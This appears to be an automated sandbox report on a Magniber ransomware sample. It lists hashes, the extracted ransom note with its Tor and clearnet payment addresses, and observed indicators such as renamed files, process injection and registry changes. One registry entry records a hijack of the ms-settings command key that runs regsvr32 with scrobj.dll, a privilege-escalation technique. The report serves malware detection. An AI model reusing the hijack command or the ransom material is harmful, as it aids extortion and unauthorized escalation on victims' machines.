magniber | 10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e

Analysis

max time kernel
150s
max time network
148s
platform
windows10_x64
resource
win10-en-20211014
submitted
25-10-2021 10:20

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General

Target

10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e.dll
Size

21KB
MD5

a60c5212d52fe1488d2f82989a2947d2
SHA1

0a744d6c76902d28eb6687d66c18b0a354f29b9d
SHA256

10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e
SHA512

afd14daa5bd9448e09f25d561e8be34e16f93a2825129d165e817a4a2a3ffc339efefd6f26e78c4853acfbce7f51c88b81601324b123d8c377d72da15dcf9327

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://16c42048e27ca270c0dihlxbl.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dihlxbl Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://16c42048e27ca270c0dihlxbl.uponmix.xyz/dihlxbl http://16c42048e27ca270c0dihlxbl.flysex.space/dihlxbl http://16c42048e27ca270c0dihlxbl.partscs.site/dihlxbl http://16c42048e27ca270c0dihlxbl.codehes.uno/dihlxbl Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://16c42048e27ca270c0dihlxbl.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dihlxbl

http://16c42048e27ca270c0dihlxbl.uponmix.xyz/dihlxbl

http://16c42048e27ca270c0dihlxbl.flysex.space/dihlxbl

http://16c42048e27ca270c0dihlxbl.partscs.site/dihlxbl

http://16c42048e27ca270c0dihlxbl.codehes.uno/dihlxbl

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	60	1796	cmd.exe	78
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	704	1796	cmd.exe	78

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\ConfirmSplit.crw => C:\Users\Admin\Pictures\ConfirmSplit.crw.dihlxbl	rundll32.exe
File renamed	C:\Users\Admin\Pictures\RedoApprove.raw => C:\Users\Admin\Pictures\RedoApprove.raw.dihlxbl	rundll32.exe
File renamed	C:\Users\Admin\Pictures\RenameCheckpoint.tif => C:\Users\Admin\Pictures\RenameCheckpoint.tif.dihlxbl	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	cmd.exe

Suspicious use of SetThreadContext 9 IoCs

description	pid	Process
PID 3028 set thread context of 0	3028	rundll32.exe
PID 3028 set thread context of 0	3028	rundll32.exe
PID 3028 set thread context of 0	3028	rundll32.exe
PID 3028 set thread context of 0	3028	rundll32.exe
PID 3028 set thread context of 0	3028	rundll32.exe
PID 3028 set thread context of 0	3028	rundll32.exe
PID 3028 set thread context of 0	3028	rundll32.exe
PID 3028 set thread context of 0	3028	rundll32.exe
PID 3028 set thread context of 0	3028	rundll32.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_iecompatua\Cache = "C:\\Users\\Admin\\AppData\\Local\\Packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatUaCache"	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_iecompat\CachePr = "MicrosoftEdge_iecompat:"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_EmieUserList\Cac = "1"	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\Certificates\4EEF7FAF0062D34ABE = 0300000001000000140000004eef7faf0062d34abee6137e774438ae9988739f04000000010000001000000024d7172657e6b799f66cf32ae88b5c280f0000000100000020000000547b3c62613c9c2b025d5461623ae703e9853ee45a8bf3b425bf63528e992912140000000100000014000000fe7e60dd9d8292295edf1cf80869a75b98896ed01900000001000000100000002aac2185e0e1b6503eb16a495b1815fc5c0000000100000004000000000800001800000001000000100000002d581a49c8eb5b3b3c6ef9bb65314d702000000001000000eb050000308205e7308203cfa003020102021333000001a636dabe8bbe573d9a0000000001a6300d06092a864886f70d01010b0500307e310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420536563757265205365727665722043412032303131301e170d3231303331313139323835325a170d3232303631313139323835325a3081a9310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b130442696e67311b301906035504031312494520496e737472756d656e746174696f6e3127302506092a864886f70d010901161862696e6769657465616d406d6963726f736f66742e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100d0b49f5b650f0fa690df343367a2cd62155e98e3c0fc14cb1f696618be8c327ef257f50d47bce3a4286e36edc0382e0ac81096dbce62463bb552970d01d02a7ca642d6faed9b5878c4e2e33e7c9f94ea4eb7f125662d5d2fe78138ce3e827bd98969028a908fab20632542a1ef952c10382b7efcaae1f5e7521d5fb617a93aa002b579a3203726111c73a9832712e3b5d4d140b247c91824de8123b45ea39fbcdb6e5c77d68cd3db64dd24844a1879865356f655cf1c5d94b208e244bd075a9823c87af7bcad6aab52e3444aad2947a7baad0d42c9d785964dbd8b4e09004359094d0646c3ca98e7c698b0fa7d6f1606b1459fd6df8d9aea8ae85911789bc5e10203010001a38201303082012c300e0603551d0f0101ff0404030204f030150603551d25040e300c060a2b0601040182374c0c01301d0603551d0e04160414fe7e60dd9d8292295edf1cf80869a75b98896ed0301f0603551d230418301680143656896549cb5b9b2f3cac4216504d91b933d79130530603551d1f044c304a3048a046a0448642687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d69635365635365724341323031315f323031312d31302d31382e63726c306006082b0601050507010104543052305006082b060105050730028644687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d69635365635365724341323031315f323031312d31302d31382e637274300c0603551d130101ff04023000300d06092a864886f70d01010b05000382020100c1055e1c6ece899cbff031668bd0b72ee668484f9392c48efe112ba21c521af47582849539f2fd53f7f8adecc243743211150de90b106e6bdaaedb88a8fc71aff2bd4bfeae5628507aa3b47095bf680a0a56bc6cb9c70871fa0b05857bf1762af884469264870c4139f7f9e93bbedaf73a867994c51e7c8473506f1ca68a8f9059cfa5c068be7ecade98315eebd7e71431ebe7d033b4fc8056d94ab70b03e1368082fc83a82cd632b9f3a03f9c9d51881c39b432ee9856e87835bc0481e57489da3590d20b2b9b0900704de861f994d956a2c0347178c59e5048bb9bbfbe8cef237d5860d7f407dcbce486eee7d98a90509a8f1b81445453326b139f0d2fdc68b831681fa96f2284b8153e3dbe60cb2d0ac030d0e2ecfc85c9d361c25e01cabe57cd6ebdc40708b2bd449152e90d2d45d725db856ab64d29a9fdb9fdb85f6354cbd5be240f4b71fa745db8eb32c0e4ea4747bfa5a4f9a5346e42b3379636d05e52225cea1baa7792b8f51b803658026b11fd0ab5877a99f4e74ff994c61177ea425554a7135d8b020661d2d285eb8bf1aa00d3bf78e2f5dba62cd7befdb85fffe6c1b65643f56fe36cf412f366b03bc8c78c852c1ed43a218256636d67eb8241477d3258af4f96b9698b0326d6d01826734eb18f1b393cbf85c0f9fdab4fb854536110f2f678003f80f270cbb1fbeb5ba09523f959dfeba84319577874e4dec0	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\NextUpdateDate = "341887252"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_DNTException\Cac = "1"	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-087602 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$WordPress	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\AllowInPrivate	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\iedownload\CachePrefix = "iedownload:"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_iec = "0"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-36240 = "121"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\Certificates	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_EmieUserList	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_ieflipahead	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_iecompatua\Cache = "MicrosoftEdge_iecompatua:"	Process not Found
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_EmieUserList\Cac = "MicrosoftEdge\\User\\Default\\EmieUserList"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersio = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "5"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_EmieSiteList\Cac = "0"	Process not Found
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-36240 = "microsoft.microsoftedge_8wekyb3d8bbwe/001"	Process not Found
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\UUID = "{6F89E3B3-6296-4F18-9371-7492456DB8EF}"	MicrosoftEdge.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1924	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3028	rundll32.exe
3028	rundll32.exe

Suspicious behavior: MapViewOfSection 10 IoCs

pid	Process
3028	rundll32.exe
3028	rundll32.exe
3028	rundll32.exe
3028	rundll32.exe
3028	rundll32.exe
3028	rundll32.exe
3028	rundll32.exe
3028	rundll32.exe
2136	MicrosoftEdgeCP.exe
2136	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeIncreaseQuotaPrivilege	2216	WMIC.exe
Token: SeSecurityPrivilege	2216	WMIC.exe
Token: SeTakeOwnershipPrivilege	2216	WMIC.exe
Token: SeLoadDriverPrivilege	2216	WMIC.exe
Token: SeSystemProfilePrivilege	2216	WMIC.exe
Token: SeSystemtimePrivilege	2216	WMIC.exe
